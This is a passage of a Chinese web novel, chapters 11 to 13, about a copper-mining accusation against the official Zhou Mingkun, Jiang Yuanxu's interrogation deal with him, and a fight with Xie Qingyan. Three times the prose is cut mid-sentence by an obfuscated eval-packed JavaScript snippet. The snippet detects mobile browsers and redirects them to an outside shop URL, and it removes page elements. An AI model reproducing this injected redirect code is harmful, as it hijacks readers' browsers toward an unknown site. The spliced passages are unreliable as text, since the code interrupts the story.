最开始认罪的那人上前朝谢青衍磕头,道:“大人,我虽是个山匪,但也知道骨气,一人做事一人当,粮就是我们劫的,和其他人无关,这些人是自己找上山来的,不知道受了谁的指使,他们的话不能信。” 他身后一人也出来应和:“是的,大人,我们和他们原本就不是一伙儿的,分明是我们早计划好了要劫粮,哪有什么人指使,是我们人手少,又见他们走投无路才收到寨子里,不成想是存了其他心思的。” 地痞们被这一通颠倒黑白的话气得发懵:“大人,真的是周大人指使我们的,周大人要我们做的那些事,找几个益州受害的百姓问问就知道。” 匪徒们互相指责,堂上众人却心知肚明,周家府兵一心抗下罪责,把周明坤撇干净,地痞们的话多半是真的。 张和叹气,周、谢、韩三个世家各有心思,中间还有个姓姜的地头蛇搅混水,这事儿还有的掰扯,原以为贪墨案是结束,没想到是开始。 “咚——咚——咚——咚——” 沉闷的鼓声盖过堂上的嘈杂,身为巡案的张和太熟悉这声音了,厉声询问:“怎么回事!是谁在外击鼓!” 11. 蓄势咬人 击鼓鸣冤不是小事,谢青衍当机立断:“匪徒先押下去,分开审讯,张大人留下升堂。” “谢大人我能留下吗,江州多少年没出过击鼓鸣冤这种事了,我想看看。”姜元序殷切地看着谢青衍。 谢青衍略一思索便答应了,韩乘霖闻言也不走了,在姜元序一侧坐下。 乌泱泱的公堂很快清空,几个面黄肌瘦的百姓低着头,直接跪下磕头:“大人,小人是益州百姓,要告发前益州知州周明坤私采铜矿!” “铜矿”二字一出,堂上众人不约而同倒吸一口凉气,景朝不允许私人采矿,更何况还是铸币用的铜矿。 谢青衍的第一反应是看姜元序,姜元序用手支着脑袋,不再是那副看戏的表情,反而极其认真地在看那几个百姓,他不能确定这是不是姜元序安排的。 张和皱眉,狠狠敲惊堂木,指着几人质问:“你们是如何得知此事的!” “我们的田地都卖给周大人了,铜矿就在田间,周家管事要挟我们开采铜矿,前些日子管事听到周大人被抓的消息,半夜逃了,我们才能逃出来告状。” 张和觉得这事棘手,用眼神询问谢青衍,谢青衍让人把周明坤带上来,代替张和坐上公堂。 周明坤还没到牢房,就被衙役重新带回来,不耐烦地问:“又怎么了!” 地上的几个百姓听到周明坤的声音,不自觉打个寒颤,身体俯得更低,头快埋地上了。 谢青衍见状直截了当问:“周明坤,益州百姓告发你私采铜矿,可有此事?” “铜……什么铜矿?”周明坤不可一世的神色一僵,瞪大了双眼,“谢青衍你发什么癔症,什么罪名都往我身上按!” 谢青衍把视线移向百姓:“铜矿采几年了?具体在哪处位置。” “回……回大人。”这人的声音有些颤抖,“两年多了,在秀县东桥头村。” 东桥头村这个地方大家刚听过,就在周明坤的侵占田地的罪行里,众人的视线再次回到周明坤身上。 周明坤脸色发白,大夏天的,他却恍若置身冰窖,他是占了东桥头村的田不错,但田间何时有了铜矿,还采两年多了? 他讷讷回答:“我……我不知道,什么铜矿,我没做过,我采铜矿干嘛。” 谢青衍继续问:“铜矿如何处理了?” “融成铜锭,运出去了。”他补充道,“炼铜的作坊就在田间,大人派人一看便知。” 谢青衍一直观察着周明坤,发现他脸上的惊讶不似作伪,越发觉得此事蹊跷:“管事的叫什么名字?” “周泰。” 阴谋,周明坤已经回过味来,一个针对他的阴谋。 周泰是周家的家生子,他在益州的田产全交给周泰管,每年给他送两次田间的出息,可从未提过什么铜矿。 周明坤冷静下来:“我没有采铜矿,更没有收铜锭,是有人买通了周泰陷害我。我是占了田,但从未管过事,每次周泰给我送的都是白银!” “周泰呢,他人在哪!”周明坤高声诘问百姓。 那人不敢抬头:“跑……跑了。” “他娘的!”周明坤说罢就要踹说话的百姓,韩乘霖眼疾手快扯住他的后领。 “周大人,安分点吧,现在什么情况还看不懂吗?” 周明坤缩着脖子把矛头转向韩乘霖:“你什么意思?我说了不是我!老子缺这点钱吗,要冒这种杀头的风险去采矿!” 韩乘霖松开他,掸了掸袖口:“你做的杀头的事儿还少吗?没有你爹,你长八个脑袋都不够砍的。” “哈。”周明坤斜着眼睛,一脸刻薄,“你没爹,你——额!” 只一瞬,周明坤摔倒在地,滑出去老远,姜元序好心地伸出脚打断周明坤的滑行,免得碰倒桌椅。 韩乘霖转了转手,哼一声,不屑地吐出两个字:“废物。” 牙齿混着血水吐出来,周明坤按着裂开的嘴角,愣是把之前那句话补全:“你没爹,你长一个脑袋就够了。” “哎。”姜元序踢踢周明坤的肩膀,语气轻松,“你爹保不住你了。” “姜元序,咳——是不是你!” 周明坤挣扎着起身,想要去拉扯姜元序,韩乘霖抓住他的手腕,反手一挥,周明坤再次摔出去。 姜元序一脸“你不要无理取闹”的无奈样,提醒他:“周大人,两年前我还不认识你呢,跑这大老远的去陷害你,我是闲得慌吗?” 周明坤也知道自己病急乱投医了,铜矿,太特殊了,明显是冲着太子去的,姜元序没必要做这种事,他暗恨自己太大意了,着了那么久的道都没发现。 他扯着嗓子冲谢青衍喊:“查!给我去益州查!老子倒要看看谁敢算计到老子头上来!” 谢青衍挥挥手:“把人带下去。” 姜元序蹲在几个百姓面前,声音温和:“你们为何不找益州知州告状,反而来江州呢?” “这……”百姓支支吾吾,犹豫地看着眼前戴面具的奇怪女子,她刚才用脚踩周明坤,几位大人对她也很尊敬,想必身份贵重,最后垂下眼睛老实回答,“宋大人知道铜矿的事,他来过作坊,没说什么。” 姜元序点点头,又问:“你们可知道多久运一次铜锭,最近的一次是在什么时候?怎么运出去的?” “大概半年一次,最近一次在去年十一月,商队的人来收粮,随运粮的车一起出去的。” 啧,大意了,姜元序心想,早知道再等一个月了,难怪蹲了三个月一点动静都没有,背后的人够谨慎,收粮的季节大小商队混杂,根本无从查起。 她起身对谢青衍道:“谢大人,查查益州知州吧,他或许知道些什么。” 谢青衍点头应是,暗赞姜元序的细心,让人把益州百姓带下去,点了几个官员,又对韩乘霖道:“韩大人,此事非同小可,还得麻烦你走一趟,京里人手未到之前,京营军先守着铜矿。” “谢大人客气了。”韩乘霖拱手应下,带着一行人匆匆收拾行装前往益州。 左右无人,姜元序提出要单独见周明坤。 看着面不改色的姜元序,谢青衍很肯定地说:“姜姑娘早就知道铜矿一事。” “自是知道的。”姜元序也不隐瞒,“三月前,我查周明坤的时候查到的。” “真是周明坤做的?” “谢大人觉得呢?” 今日一连串的事发生的太快太出人意料,谢青衍不敢肯定:“理智告诉我,周明坤没必要做这种事,但前有私兵劫粮,后有偷采铜矿,我不得不怀疑,周明坤是真的蠢到无可救药。” 姜元序忍俊不禁:“不是周明坤,幕后之人是谁,我也没查到。所以我得去问问周明坤,看看能不能找到线索。” 周明坤来到狱审室,原以为是谢青衍要审他,没想到是姜元序:“来看笑话?” 姜元序十分有礼节地起身相迎:“周大人怎么这样想我,仔细想想,我们之间其实根本没有深仇大恨啊!我们这一年相处的不是很好吗。” “哈哈哈……好?你管这叫,好?”周明坤笑得前俯后仰,又一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211508|197420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞬间收起笑,面目阴沉。 “你把我压得跟狗似的,吠都不敢吠一声,现在来扯旧情?不如直接说是来痛打落水狗的,倒显得实诚些。” “这可真是天大的冤枉啊。”姜元序示意周明坤坐下,自己拖来一把椅子,坐在他对面,骤然拉近的距离,让周明坤有些迷惑。 姜元序像跟自家爹谈心似的:“我这个人性子是霸道了些,突然来了您这么位大人物,我这不是怕自己的逍遥日子没了吗,才性急跟您硬杠了几回。” “但咱们互相别苗头,那是咱们江州自己的事儿,就像周大人不是真心要劫粮的,我去益州查您,也不过是想回敬您一番,哪知道查到了这么了不得的事情。” 周明坤猛地站起来:“你早就查到铜矿了!益州的百姓是你安排的!” “怎么可能。”姜元序相当无辜,“我查到的时候,已经什么都晚了,这个局简直天衣无缝,所有的证据都指向您,一旦揭开,您就是百口莫辩啊!” “这京城人的手段,真不是我这种乡下人能比的。” 姜元序摇摇头,一副痛心疾首的模样:“我苦思冥想,我殚精竭虑,我手足无措,头发都掉一半了,总算想到一个不太美妙,却有点用的主意。” 周明坤差点信了她的虚情假意,用脚勾起摔倒的椅子,大咧咧坐下。 “你的主意就是把钦差引来江州,把我所有的罪行查清,再让幕后之人把周家和太子都拖下水,那我可真是万分感谢你的好意。” 姜元序好像没听出他的嘲讽,依旧一派真诚:“如果铜矿一事是突如其来被揭开的,证据确凿的事,周家和太子确实撇不开关系,但如今我把劫粮案先于铜矿案揭开,此事就有了转机。” 周明坤满脸“我看你还有什么戏好唱”,眼神戏谑,饶有兴致地等待她的下文。 “这两件事分开看,都很微妙,很容易让人觉得周家所图甚大。”姜元序认真分析,“可放在一起,完全可以说是您贪心不足,一时想不开做了错事。” 周明坤嗤笑一声,嘲笑她的愚蠢:“可真是个好主意,把所有事都推我头上。姜元序,你把别人都当傻子不成?背后之人谋划了两年多,你猜他准备了多少后招?” “周大人果然是个聪明人。”姜元序拍手称赞。 “京城的情况,我们现在无法得知,但我猜钦差此去益州,会恰好遇到太子的人手正在“扫尾”,人赃并获才有说服力嘛。” “您有所不知,周泰可没跑远,就在村里窝着呢,只等着被太子“扫尾”。但是,只要我的人在扫尾现场同时控制住双方,等钦差一来,我这个正义的第三方不就是最好的人证吗。” “我帮了您初一,自然也会帮您十五。” 周明坤真想喝一声彩,当初收养姜元序的要是个戏班子,她怕是已经成了红遍大江南北的名角儿。 装的如此真心实意,倒是勾起了周明坤的兴趣:“有备而来啊,平白无故做了那么多,现在是来跟我谈条件的?” 姜元序双手乖巧地置于膝上,终于开始正题:“我想跟您要点东西。” “真稀奇,我身上还有你要的东西呢。”周明坤见不得她这副温顺的样子,总有种蓄势咬人感。 “我是在牢里,但周家有的是人手,你能做的,我同样能做,你凭什么觉得我要答应你的条件。” 姜元序岿然不动,恬静安然如世家闺秀:“周大人要是不答应,那我保证,您的牢房会变成铁板一块。” “从此刻起,再也传不出一丝消息。” 12. 自立为帝 “哈哈哈……这才对!”周明坤抚掌大笑,“姜元序,老虎装猫这一套多俗啊。说吧,想要什么?” 姜元序眉梢微挑,伸出一根手指:“宁远郡,良田,两百顷。” “就这?”周明坤不屑。 一变二:“周家军的军粮供应资格。” 周明坤嘴角抽搐了一下,努力维持轻松的表情:“你可真看得起我!我一个纨绔子弟怎么管得了周家军的事,你得去宁远郡找我爹或者我大哥。” 姜元序晃了晃自己的两根手指:“周大人,外人都说你是周家的弃子,只有我,不这么认为——” 四指并拢直击双眼,周明坤求生的本能快于理智,侧身出掌,提膝飞踹,姜元序扣住周明坤的肩膀,飞身绕后,一招裸绞结束战斗。 周明坤挣扎不得,脖颈仿佛被铁桶箍紧,呼吸接近于无,他第一次有了濒死感,姜元序的声音如恶鬼般森然。 “周大人分明是深藏不露啊。” 巨大的响声惊醒狱审室外百无聊赖的众人,谢青衍当即要冲进去,却被百凌拦在几步开外。 “谢大人,姑娘交代过,不管听到什么动静,都不要让人进去。” “周明坤再无用也是个壮年男子,万一暴起伤人,姜元序一个弱女子如何挡得住!”谢青衍急道。 百凌不为所动,姑娘那身手,对付周明坤半招都不用,简直瞎操心。 谢青衍说不动也推不开百凌,着急喊云慎帮忙,百凌跃跃欲试,在这里打一场也未尝不可。 十安见自己人反倒要打起来了,无奈去敲门,提高声音喊道:“姑娘,需要人进来吗?” “不用。” 姜元序冷静的声音清晰传到门外,剑拔弩张的几人只好默默退开。 狱审室内,姜元序松开胳膊,周明坤抚着胸口大喘气,眼前黑一阵白一阵,好一会儿才缓过神。 “你竟然会武!”周明坤声音嘶哑,不敢相信。 姜元序摆摆手,谦虚道:“一点防身技巧罢了。” 周明坤跌进椅子,倚在靠背上:“当真是小瞧你了。”他对上他爹,尚且有还手的余地。 他仔细打量姜元序,也就个头高些,身板直些,不似寻常女子纤弱,宽大的袖子底下,胳膊竟有如此狠辣的力道,一出手即置人于死地。 姜元序朝地上四分五裂的木块微微抬颌:“彼此彼此。” 一脚把椅子踹烂的力道可不是一日之功,周明坤藏得可真深,她都被骗了。 今日韩乘霖出手,周明坤下意识绷紧腰腹,想躲却克制住,硬抗了一拳,姜元序用脚抵住他的背部,明显不是虚弱无力感,后来踢他的时候,用了些力道,他晃都没晃一下,这才发现了端倪。 周明坤平时一副被酒色掏空身子的萎靡样,谁能想到私底下竟是个常年习武的练家子。 姜元序双手一撑坐在了桌子上,居高临下面对周明坤:“现在可以真诚点了吗?” 周明坤不再戴着吊儿郎当的面具,严肃道:“军粮关系太大,我不能答应,田地再给你两百顷,或者钱,黄金白银,铺子宅子都行。” “周大人,你老实说,要是没有这桩事,这军粮供应,你本就是要交给我的,对吗?”姜元序笑嘻嘻的,一脸自信。 周明坤目光深沉:“你知道的可真不少。” 周家军二十万,粮食供应困难,他到江州本就有考察江州粮食商会的意思,只是姜元序不识抬举,他想抻一抻,没想到被发现了。 姜元序收起笑,认真道:“周大人,你没发现吗,我们真的很相像。” “一样的性子高傲,一样的不可一世,一样的喜欢装弱者。别人把我当蠢货,我反手一巴掌把人扇进棺材,多有趣。” “所以这一年,我们总是针锋相对,总想压对方一头,如今事情到了这一步,我是真心想和您和解的。” “世间的缘分如此奇妙,您是国公之子,我是一介孤女,本是天差地别,散落在景朝两端的两人,偏偏有着如出一辙的脾性,偏偏还在江州碰到了,这是何等的难得。” 周明坤越听,心越沉。 他不敢承认,却又真实存在,他们是有点像,又完全不一样。姜元序行事磊落,他手段下作,姜元序能力出众,他资质平庸,姜元序的嚣张,意气风发,他的嚣张,蛮横跋扈。 他见到姜元序,方知理想中的自己真的存在,他羡慕,嫉妒,畏惧,否认,逃避,如今被挑破。 掩饰好剧烈翻动的心绪,周明坤的语气恢复平静:“为何拒绝做太子侧妃,我以为你会想做皇后。” “我怎么会想做皇后呢!”姜元序急得都从桌子上跳下来了。 “景朝的皇后才多少权力,头上永远压着一个皇帝,我哪里受得了这种日子!” 如此嚣张的言论,周明坤只觉得姜元序没说实话,反讽道:“怎么?你这意思是你想当皇帝?” “周大人,你扪心自问,你离开周家的大本营为的是什么?” 姜元序自顾自回答,“因为在宁远郡,你爹你哥永远压你一头,外面就不同了,一个县一个州,玉皇大帝都管不着你。” “我扪心自问,要是进了宫,我会怎么做?”姜元序拍拍心口的位置,继而双手一摊,理所当然道,“当然是干掉皇帝,屠戮皇子,抱养宗室子,垂帘听政,大权在握,自立为帝。” 桩桩件件,随便挑出一件就是诛九族的大罪,怎么在姜元序嘴里就那么顺理成章呢? 周明坤油然升起一股敬畏:“你是真不怕死啊。” “这也没别人。”姜元序敢说自然敢肯定这话传不出去。 “所以我当初拒绝,真不是看不起您的意思,完全是为了你们好啊。” 言辞恳切,说的跟真的一样。 周明坤没好气的瞪她一眼,不想听她胡咧咧,转而问起:“你这身手……练了多久。” “十几年了。”加上辈子的二十年,一共三十二年,姜元序老实说。 听听,十七岁姑娘练了十几年的武,周明坤艰难道:“你是背负了什么血海深仇吗?以后要去报仇?” 说完指指她的手背。 姜元序瞅了眼手背的疤,不甚在意:“是有点仇,十岁的时候报了。” 周明坤不得不服,别人十岁为几颗蜜饯能哭上一天,姜元序已经报完仇了,这行动力,怪不得敢“自立为帝”。 “军粮可以交给你,但你得去京城帮太子一年。” 周明坤很冷静,经此一事周家和太子必然要沉寂一段时间,新政就是最好的翻身手段。新政本就取自姜元序的百姓钱庄,有她帮忙绝对万无一失。 “不行!”姜元序想也没想就拒绝,“我那么招人喜欢,万一太子见到我就对我强取豪夺怎么办?” 周明坤不觉失笑,第一次发现姜元序自信过了头,闲闲道:“太子好美色。” 他作为长辈,看见优秀的小辈自然是喜欢的,但太子作为男人,哪里能欣赏一张毁了容的脸。 “那你还让我嫁他!”姜元序难以置信地控制道,“说的那么好听,果然不是自己女儿就不心疼啊。” 周明坤自己的女儿也不得多心疼,他就是不安好心,想着先把人匡过去,皇宫的日子不好过,姜元序背后又没有家族支持,只能投靠周家,到时还不是任人搓圆捏扁。 只是这事放在谈判时说出来,终究是理亏的,他忍不住揉揉眉心。 “周大人是想让我帮太子施行新政吧。”姜元序突然道。 周明坤眉心紧锁:“你知道新政?” “谢大人和我提过。” “呵,谢家!”周明坤想到谢家那处处跟周家作对的老头,深觉晦气,“谢家反对也没用。” 姜元序颔首表态:“朝堂的事我不方便插手。但新政正式施行前肯定要先小规模试验,只要试验地有江州粮食商会,出了什么乱子,我不会坐视不理。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211509|197420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至于乱子平定后的功劳算谁的,就不为外人道了。 周明坤双眼一眯,精光乍现:“看来这军粮,我是不给也得给了。” 有了军粮的资格,江州粮食商会才能进驻宁远郡,而试验地最稳妥的地方是宁远郡。 他佯装妥协:“行了,两百顷地和军粮供应,换周泰和善后。” 军粮交给江州粮食商会又不吃亏,他和姜元序虽有龃龉,但姜元序的人品还是靠得住的,不会在粮食上刻意使坏。 只用两百顷地就换了太子的清白和姜元序的承诺,实际上是他赚了。 姜元序商业微笑:“合作愉快,周大人记得尽快把地契和文书送过来。” 周明坤摇头:“你这精明的性子,以后嫁了人要被婆家嫌弃。” “不不不,我不嫁人,我娶。” “娶?!” 姜元序对他的质疑很习以为常,拿出惯常的理论:“我这身家,娶八九个名门公子,不为过吧?只有我嫌弃别人的份。” “没生成男人,委屈你了。”周明坤无言以对,公主养面首都不会养名门公子,姜元序倒是敢想。 “我再送你一个庄子,就当给你攒聘礼了。” 姜元序收到意外之财,喜笑颜开:“哎,谢谢周叔,我娶夫那天上香通知你,你记得跑上来喝杯喜酒。” 周明坤被一声“周叔”哄得失笑不已,故作矜持道:“哼,就那么笃定我活不了了?” “我这小小的脑袋是想不出办法了,周家的名声和您的命,二选一,我倒是想保您,您自己怕是不会同意。”姜元序无奈。 真是什么都瞒不过她,周明坤自认平日里伪装得很成功,如今被轻描淡写戳穿,着实挂不住脸。 他踹了一脚地面,语气烦躁:“行了行了,赶紧走吧,看着糟心。” 姜元序走近拍拍他的肩膀,真心实意道:“周叔,下辈子做个好人吧。” 看着姜元序昂首离去的背影,周明坤喊住她,故意膈应道,“你要是做了皇帝,提前烧纸告诉我,我下辈子给你当牛做马,毫无怨言。” 周明坤自信且得意,觉得总算扳回一城,姜元序克制住上扬的嘴角,冲他挥挥手。 “我先提前谢谢您,下辈子见。” 姜元序出来时笑容满面,身上的愉悦连远处牢房的犯人都感觉到了,等她的几人倒是不知道怎么开口了。 “铜矿案没什么线索,但周大人这会儿估计愿意承认劫粮了,谢大人不如去审审?” 谢青衍想到刚才的响声,迟疑地问:“你打周明坤了?”不然怎么会不到半个时辰就改口了? “怎么会,”姜元序当即否认,避重就轻道,“我和周大人一笑泯恩仇了,如今他是我周叔,帮侄女的事,是他应该做的。” 众人闻言恍若晴天遭遇一道惊雷,相当一致地被劈愣在原地,瞪大的双眼和半张的嘴,无一不在质问姜元序:你要不要听听自己在说什么! 最有经验的十安率先醒过来:“那刚才的响声是……” “周叔有了新侄女,太高兴了,摔坏一张椅子,记他账上就行。” 姜元序没时间给他们解惑,匆匆跟谢青衍告别:“谢大人我先走了,还有点事要忙。” 姜元序用最快的速度回家,疾跑回卧房,扑到被子里,扭成一条胖乎的大青虫,吱哇乱叫:“啊啊啊啊啊啊啊啊!” 十安和百凌万分不解,只是见了一趟周明坤,怎么一副出现重大决策失误的样子。 十安悄悄凑到被子边,仔细听姜元序的喃喃自语:“谨言慎行谨言慎行谨言慎行谨言慎行……” 听清了,没听懂。 足等了一刻钟,姜元序钻出一张脸,了无生趣:“周家军的军粮供应,在周明坤的手里。” “什么!” “什么!” 前前后后忙活了一年多,上上下下的路子走遍了,军粮的边都没摸到,结果是周明坤! 13. 道貌岸然 “周明坤!怎么会是周明坤!周明坤啊!真是疯了……” 百凌扯着头发在房间里来回踱步,实在不敢相信这个事实,如果是周明坤,那他们这一年的东奔西跑算什么? 算白忙!算银子砸下去,连响都没听见!算一群人被周明坤耍着玩儿! “周家军是没人了吗,让周明坤管军粮!他管的明白吗!” 如果当时不是正面对周明坤,姜元序一定会和百凌一样破防,人怎么可以犯那么大的错! 周明坤是他们排除的第一人,是排除了所有错误选项后,依旧不会选的那个选项!偏偏他就是正确答案。 姜元序叹气,再次开口:“周明坤会武。” “什么!” “什么!” 两人只觉眼前一黑又一黑,周明坤装那么好是准备谋反吗?还是在周家生存比皇室还难,需要装蠢偷生?那一脸的肾虚样也能装出来?他怎么能装得如此自然! 姜元序倒是看得清楚,周明坤也不见得全是装的,大事上不含糊,小事上一塌糊涂,上进和摆烂交换着掌控身体,最终一事无成。 十安越想越不对,姜元序刚出审室那会儿开心的样子不像装的,难道…… “姑娘拿到军粮供应了?” 姜元序轻轻“哼”了一声。 百凌不敢相信:“他吃错药了?!” 十安十分了然:“周明坤被忽悠瘸了吧。” 姜元序谦虚:“哪里哪里,只是和周叔聊了聊人生,谈了谈理想,惺惺相惜了一下。” 十安、百凌:懂了,量身定制杀猪盘。 怪不得叫上周叔了呢,都闹成这样了,还能拿到军粮供应,这一声叔,叫的不亏。 姜元序整理好心情,推开包裹着的被子,利索下床,恢复了以往的冷静,虽然后知后觉了些,但到底殊途同归。 “通知商会那边,重新做一份进驻宁远郡的方案,明天上午集体管事开会。” “还有试验田那边,有需要去宁远郡实验的作物,也递一份方案,我要了两百顷良田,尽快安排人手去接管。” 十安问:“姑娘用什么换的军粮和田地?” “周泰。” 十安在这一瞬间竟有点心疼周明坤,姑娘早就交代过不要让周泰死在太子的人手上,要把太子摘出去才好继续之后的计划。 这本来就要做的事,愣是变成了谈判的筹码,还换了那么多东西,杀猪盘的威力如斯可怕。 姜元序一点儿也不心虚,只要对手不觉得吃亏,那就是赚了,周明坤肯定觉得自己赚了。 等她到了京城,再用周泰跟太子要一份报酬,聪明的员工,就要干一份活,领八份薪水! 她极其资本家地跟两人喊口号:“生命在于工作,快去快去,美好的未来要靠你们创造!” 同样被姜元序忽悠得一愣一愣的谢青衍,盯着碎成木条的椅子皱眉,用了多大的力道才能摔成这样,周明坤真不是个东西,吓唬小姑娘呢。 周明坤瞥了一眼地上,漫不经心地开口:“姜元序踹的,让她赔。” 三人顿时嫌弃地看着周明坤,找借口也不找个好点的,姜姑娘要砸也该往你头上砸,再说了,一个姑娘家能一下把椅子踹成这样吗? 云慎:“姜姑娘已经告诉我们了,是你摔的,记你账上。” 周明坤踢开脚边的木条,心里骂骂咧咧,缺德玩意儿,送了她一个庄子,她一把椅子钱都不肯付。 谢青衍开始审问:“周明坤,是不是你派人劫走江州粮食商会五万石的粮食?” “是啊。” 谢青衍:“地痞所述的罪行,你可承认?” “认啊。”周明坤痛快承认,“我做的我都认。” 谢青衍没想到真的如此顺利,犹豫道:“那铜矿……” “嗤——”周明坤讽刺地扬眉,“我没做的,一个字也不会认。” 云齐把供状给周明坤,周明坤从头到尾看了一遍,确定不是铜矿案,放心地签字画押。 太容易了,谢青衍有些不踏实,最终选择问出心底的疑惑:“姜元序到底和你说什么了?” “她什么都没跟你说?”周明坤反问。 谢青衍沉默,姜元序说了,但他说不出口,他瞟了眼云慎。 云慎收到示意:“姜姑娘说,你是她周叔,叔叔帮侄女是应该的。” 周明坤愣了一下,随即哈哈大笑起来,脸上的褶子都笑开了:“哈哈哈哈……可不是,我做人叔叔的,给侄女一份见面礼多正常。” 云齐可不信这套说辞,周家人一直没把周承下葬,非要查出点什么,还说要去别的地方找仵作,找讼师,势必要让姜姑娘付出代价。 “你不追究周承的死因了?” 周明坤眼皮都没抬一下,他自己都要死了,还管儿子怎么死的干嘛。 周承比姜元序还大几岁,除了吃喝嫖赌啥都不会,只有在外面惹了事,会在他面前装几天孝子,现在就算活着,也不见得会撇下青楼妓子,来牢里看看他即将赴死的爹。 对比吴善民,年纪比他还小,没甚本事,姜元序却事事为他打点,在外是风风光光的商会会长,连坐个牢,都给他把牢房布置得跟卧房一样。 人比人,气死人啊。 不过扪心自问,要是他碰到五岁时一身烧伤的姜元序,他会救吗?不会,只会让人把人扔远点,别碍他的眼。 没有错过周明坤几经变换的神色,谢青衍出乎意料地问:“姜元序答应了什么条件?” 周明坤本来不想搭理,却想起姜元序说谢青衍跟她提过新政,恶意从心底升起。 “哦,她答应嫁给太子了。” 云慎:“什么?” 云齐:“不可能!” 谢青衍一下攥紧拳头,脸上的狠厉直冲周明坤而去。 周明坤要是还看不出点什么,四十年算是白活了,谢家人不是一向自视甚高吗,这才几天,就被勾得找不着北了。 “姜元序一个孤女,聪明努力有野心,不就是为了有一天能成为人上人,太子这块跳板,她早看上了。” 周明坤快意地欣赏谢青衍的失态,又添一把火:“她说哪怕是做个侍妾,也要嫁给太子。” “呵。”谢青衍极快地低笑一声,缓慢起身,绕过审讯桌,踏着稳健的步子朝周明坤走去。 云齐云慎对视一眼,同时屏住呼吸,谢青衍居高临下注视周明坤良久,久到周明坤脸上嘲弄的笑渐渐挂不住。 “哐!”—— 周明坤连人带椅撞上墙,又重重落地,谢青衍缓缓收回脚,瞥了眼沾上血的鞋面,重新把脚落回周明坤胸口,用力蹭了蹭鞋底,犹嫌不够,鞋底踩上周明坤的脸,来回捻几下。 “啊——”周明坤被这侮辱性极强的动作刺激,提起一口气,双手抓住谢青衍的脚腕,用尽全力往里一折。 谢青衍一时不察,已无法挣脱,顺着周明坤的力道快速旋身空翻落地,此时周明坤也摆脱了桎梏,双脚一蹬,挺身而起。 云慎没想到周明坤会武,急忙挡在谢青衍身前,对周明坤怒目而视。 周明坤抹了一把嘴角,嗤笑道:“真把老子当孬种了,谢家就这窝囊样,再过几百年,也比不上周家。” “云慎,退下。” 冷厉的命令落下,云慎迅速退至一旁,不需要言语,双方的拳头比视线先一步到达。 周明坤一点没留手,哪怕平日花天酒地惯了,到底有着几十年的底子,和谢青衍打得有来有往。 云齐的视线一直随谢青衍移动,看到周明坤的脚即将踢在公子身上,心下一凛,下意识上前挡,被云慎一把拉回,云慎低声和他说:“没事。” 话音刚落,谢青衍瞅准时机,俯身扫腿,周明坤一招不慎,倒地落败,胸口被踹的位置再次被那只脚压制住。 脚下的周明坤一动不动,连挣扎都没有,谢青衍鄙夷道:“周家,不过如此。” 周明坤提不起一丝力气,他今天先挨了韩乘霖一拳,差点被姜元序勒死,没防备下挨了谢青衍一记窝心脚,紧接着打了一场,哪怕年轻二十岁,也该力竭了。 他是输了,但依旧看不起谢青衍,这点身手,在姜元序手下最多过三招,还敢肖想人家。 他朝满脸阴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211510|197420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鸷的谢青衍啐了一口,讥讽道:“你敢让姜元序看看你现在这副样子吗,霁月光风的谢公子?” “这是我们的事。”谢青衍收回脚,冷眼看着周明坤死狗一样大喘气。 “哈哈哈……咳咳!”周明坤笑得胸口疼,“我们?哈哈哈……姜元序知道这事吗?自作多情也要有个限度,你们谢家人在京城人眼里是香饽饽,在这江州,屁都不是!” “你去外面瞧瞧,这江州男人,关起门来个个要给女人做饭洗衣,房事前都得给人磕一个,得到允许才敢上榻,生儿子的默不作声,生女儿的大宴宾客。” “高贵的谢家公子,你说景朝那么多地方,怎么就江州这副鬼样子?还不是因为姜元序!江州百姓个个看她的眼色过日子,她想怎么样,江州就是什么样!” 周明坤自己瞧不上江州男人的做派,却不妨碍他拿来贬低谢青衍,在他看来,也就江州这些被姜元序压制的贫民能对女人伏低做小,世家男子最看重脸面,没人受得了这种羞辱。 “她会瞧上你这个道貌岸然的伪君子吗?” 谢青衍没觉得羞辱,只在意最后一句,反讥道:“她瞧不上我,还能瞧得上太子?” “姜元序不缺男人,她缺的是权力。”周明坤说。 谢青衍:“太子身后跟着你们周家一群窝囊废,想继位怕是难了,像铜矿这样的事,有一就有二,他总会被你们拖死的。以姜元序对朝局的洞察,绝对不会选择太子。” 也就周家把太子当个宝,事实上太子除了占个嫡长的名头,并无多大的能力,文不如慧王,武不如安王,礼不如璋王。姜元序想要中宫之权,选太子不如选其他王爷。 “你也知道她如此本事,太子自然不能放过,不过是一个商户,宫中一道命令,她不想嫁也得嫁!” 在见识到姜元序狠辣的身手后,周明坤早已打消逼迫她嫁入东宫的念头,他就是故意恶心谢青衍。 “你可以试试。”谢青衍蹲下身,左手扼住周明坤的脖颈,五指慢慢收拢,语气却极其平静。 